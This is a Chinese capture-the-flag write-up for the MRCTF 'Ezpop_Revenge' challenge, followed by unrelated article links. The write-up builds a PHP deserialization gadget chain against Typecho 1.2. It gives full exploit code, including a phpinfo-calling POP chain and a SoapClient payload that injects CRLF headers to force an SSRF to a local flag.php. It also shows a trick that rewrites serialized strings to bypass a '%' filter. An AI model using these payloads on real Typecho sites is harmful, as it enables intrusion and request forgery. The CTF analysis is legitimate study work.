前言

一道typecho1.2的反序列化,顺便记录一下踩的坑

www.zip获得源码,结构大致如下



flag.php需要ssrf,如果成功会写入session



拿到源码直接去网上先找了一下有没有现成的payload(懒,

找到一篇类似的

https://p0sec.net/index.php/archives/114/

但是入口点是install.php,而源码里的install.php已经被删掉了,全局搜索一下:



路径为usr/plugins/HelloWorld/Plugin.php



很明显这里就是反序列化的点了,但是这里是一个方法不能直接利用,然后鸽了半天,后来才知道有个定义的路由==

typecho\plugin.php下:

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

首先看到这里:



很明显的入口点,跟进Typecho_Db::__construct



然后这里有一个字符拼接,于是我就按照上面那文章的思路找__tostring (接下来是踩坑)

踩坑



Feed.php下的tostring的358行



并且跟不过去,那么就可以找__get

Request.php



跟进



跟进_applyFilter



value由this->_params['screenName']决定可控,$_filter也可控,rce??(嘴角疯狂上扬)

于是我构造了如下pop链:

<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
var_dump($this->coincidence);
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Feed
{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function __construct(){
$this->_items=array('author' => new Typecho_Request());
}
}
class Typecho_Request{
private $_filter=array();
private $_params=array();
public function __construct()
{
$this->_params['screenName'] = -1;
$this->_filter = array('phpinfo');
}
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));

然而这里函数过滤实在太多了,命令执行的函数几乎全过滤了,然后我就一直试,比赛结束也没试出来...(这个pop链貌似适用typecho1.1版本)

麻烦的解法(踩坑二)

后来我突然想到要是能rce为什么还有ssrf读flag....

好吧其实一开始__tostring我就找错了,应该找query.php这个跳板



可以看到如果$this->_sqlPreBuild['action']=SELECT就调用:

$this->_adapter->parseSelect($this->_sqlPreBuild)

然后令$this->_adapter为Soapclient实例,触发_call完成ssrf

调用链:

HelloWorld_DB::wakeup-->

Typecho_Db::__construct(tostring)-->

Typecho_Db_Query::__construct-->

(this->_adapter=new Soapclient)-->

ssrf

然后又是一个坑:

这里的成员变量大部分都是private的,而private有不可见字符需要用%00填充,而这里%是被过滤的:



然后就需要用\00来代替%00

这里有个知识点吧,以前没碰到过:

在 PHP5 最新的 CVS 中,

新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:

string 型数据(字符串)新的序列化格式为:

S:"<length>":"<value>";

其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。

它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。

普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";

而序列化的大S则对应的是\加上16进制,如S:2:"\00a\00";

看个例子



将不可见字符%00转化为十六进制,大S成功执行wakeup



小写s则失败



然后这里就需要将%统统转化为\,然后将标识字符串的s转化为S,这里用了颖奇师傅的方法:https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge

function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}

将字符串以:冒号打散为数组,然后遍历用$arr[$i]匹配每个00,如果$arr[$i-2]中有小s就替换为S,然后以:拼接,看下面这个例子就懂了



最终payload:

<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
} }
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);

加上一个?admin=1即可

正解

我又傻了,这里的serialize会进行base64编码,然而解码出来是这样的:



根本就没有%号啊,那就不用替换了,所以直接:

<?php
class HelloWorld_DB{
private $coincidence;
public function __construct(){
$this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
}
}
class Typecho_Db
{
public function __construct($adapterName, $prefix = 'typecho_')
{
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
}
}
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct(){
$this->_sqlPreBuild['action']='SELECT';
$target = "http://127.0.0.1/flag.php";
$headers = array(
'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
$this->_adapter=new SoapClient(
null,
array('location' => $target,
'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
} }
serialize(new HelloWorld_DB());
echo base64_encode($a);

MRCTF Ezpop_Revenge小记的更多相关文章

  1. [原]Paste.deploy 与 WSGI, keystone 小记

    Paste.deploy 与 WSGI, keystone 小记 名词解释: Paste.deploy 是一个WSGI工具包,用于更方便的管理WSGI应用, 可以通过配置文件,将WSGI应用加载起来. ...

  2. MySql 小记

    MySql  简单 小记 以备查看 1.sql概述 1.什么是sql? 2.sql发展过程? 3.sql标准与方言的关系? 4.常用数据库? 5.MySql数据库安装? 2.关键概念 表结构----- ...

  3. Git小记

    Git简~介 Git是一个分布式版本控制系统,其他的版本控制系统我只用过SVN,但用的时间不长.大家都知道,分布式的好处多多,而且分布式已经包含了集中式的几乎所有功能.Linus创造Git的传奇经历就 ...

  4. 广州PostgreSQL用户会技术交流会小记 2015-9-19

    广州PostgreSQL用户会技术交流会小记 2015-9-19 今天去了广州PostgreSQL用户会组织的技术交流会 分别有两个session 第一个讲师介绍了他公司使用PostgreSQL-X2 ...

  5. 东哥读书小记 之 《MacTalk人生元编程》

         一直以来的自我感觉:自己是个记性偏弱的人.反正从小读书就喜欢做笔记(可自己的字写得巨丑无比,尼玛不科学呀),抄书这事儿真的就常发生俺的身上. 因为那时经常要背诵课文之类,反正为了怕自己忘记, ...

  6. Paypal支付小记

    Paypal支付小记 *:first-child { margin-top: 0 !important; } body>*:last-child { margin-bottom: 0 !impo ...

  7. linux 下cmake 编译 ,调用,调试 poco 1.6.0 小记

    上篇文章 小记了: 关于 Poco::TCPServer框架 (windows 下使用的是 select模型) 学习笔记. http://www.cnblogs.com/bleachli/p/4352 ...

  8. mongodb入门学习小记

    Mongodb 简单入门(个人学习小记) 1.安装并注册成服务:(示例) E:\DevTools\mongodb3.2.6\bin>mongod.exe --bind_ip 127.0.0.1 ...

  9. 【日常小记】统计后缀名为.cc、.c、.h的文件数【转】

    转自:http://www.cnblogs.com/skynet/archive/2011/03/29/1998970.html 在项目开发时,有时候想知道源码文件中有多少后缀名为.cc..c..h的 ...

随机推荐

  1. Building Applications with Force.com and VisualForce(Dev401)(十八):Visualforce Pages: Introduction to Visualforce

    Dev401-020:Visualforce Pages: Introduction to Visualforce Course Objectives1.Understand the benefits ...

  2. SpringBoot 集成ehcache

    1, 项目实在springboot 集成mybatis 的基础上的: https://www.cnblogs.com/pickKnow/p/11189729.html 2,pom 如下,有的不需要加, ...

  3. 电脑网络诊断显示Win10无法与设备或资源(DNS)通信解决办法

    最近是做多错多还是人有点儿衰神附体,软件,电脑系统,各种问题层出不穷,今天早上打开电脑发现不少软件都无法联网,神马百度商桥,腾讯浏览器,百度云...昨天百度商桥打不开还以为是软件出了问题,因为火狐浏览 ...

  4. 读者来信 | 刚搭完HBase集群,Phoenix一启动,HBase就全崩了,是什么原因?(已解决)

    前言:之前有朋友加好友与我探讨一些问题,我觉得这些问题倒挺有价值的:于是就想在本公众号开设一个问答专栏,方便技术交流与分享,专栏名就定为:<读者来信>.如遇到本人能力有限难以解决的问题,我 ...

  5. 数据结构与算法复习-----leetcodeOJ题解

    Isomorphic Strings Given two strings s and t, determine if they are isomorphic. Two strings are isom ...

  6. X-Admin&ABP框架开发-版本管理

    多租户系统中,针对于不同租户开放不同功能,或是按照不同功能进行收费管理,需要从宿主本身去管理租户的版本信息,如同酒店人员对不同房间收取不同费用,依据房间内部设施,房间大小等设置不同收费标准.Abp系统 ...

  7. Iscsi技术

                                                                        Iscsi技术 1案例1:发布iSCSI网络磁盘 1.1问题 本 ...

  8. node.js代码二

    var express = require('express'); var app = express(); var server = require('http').Server(app); var ...

  9. 如何将icon图标库引入自己的项目中

    ---恢复内容开始--- 今天是18年的国庆,趁着国庆的这股开心劲儿,开开心心的写点东西: 第一篇:关于如何将icon图标库引入自己的项目(此方法Taro,微信小程序,支付宝小程序等均适用,不会存在不 ...

  10. 模板继承和UImodul 和 UImethods

     模板继承和UImodul 和 UImethods 模板的继承 {% extends path %} path为templates下的相对路径 {% block block_name %}conten ...